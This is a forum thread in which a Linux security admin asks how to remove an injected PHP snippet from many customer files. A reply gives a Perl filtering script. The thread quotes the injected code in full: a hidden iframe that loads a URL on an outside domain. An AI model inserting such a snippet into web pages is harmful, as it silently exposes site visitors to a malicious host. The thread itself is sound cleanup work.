Shell Programming and Scripting

Hello Everyone! Of course I am rather new to these forums, but I have been browsing the forums for awhile, always has a lot of useful information

This time however, I can not find the information I need, well, not completely. So here is the problem, I am a linux admin (dealing mostly with security/abuse), and a customer has the code below, injected into a large number of their files.

Code:

<?php echo '<div style="visibility:hidden"><iframe src="http://gfdsgf333.com/in.cgi?27" width=100 height=80></iframe></div>'; ?>

I was attempting to do this with a simple perl one liner, but then found out I would have to do escapes for both the shell and perl to be able to make it work.

Code:

find . -type f -print0 | xargs -0 perl -i -p -e 's#<?php ../rest of malicious code/.. ?>##g'

Of course I was testing first with only doing it on one file. Trying to use the regex to match would either give an error regarding a less than sign, or newline, or if it was successful it would remove another portion of the file at the bottom, which I did not want.

I am trying to find a better way to do this of course, and so I thought maybe remove any text inserted after the closing html tag, but that is not always the case. So the best bet seems to match the text with a regex and remove it. Any help doing so would be much much much appreciated!

this will not directly match unless it is properly quoted

am doing the same thing what you have done, but in a different way

Code:

my $str = qq(\Q<?php echo '<div style="visibility:hidden"><iframe src="http://gfdsgf333.com/in.cgi?27" width=100 height=80></iframe></div>'; ?>\E);

print $str , "\n";
open(FILE, "<", "a") or die " Cannot open file <$!> \n";

while (<FILE>) {
  chomp;
  print "$_\n" if ( $_ !~ $str );
}

close(FILE);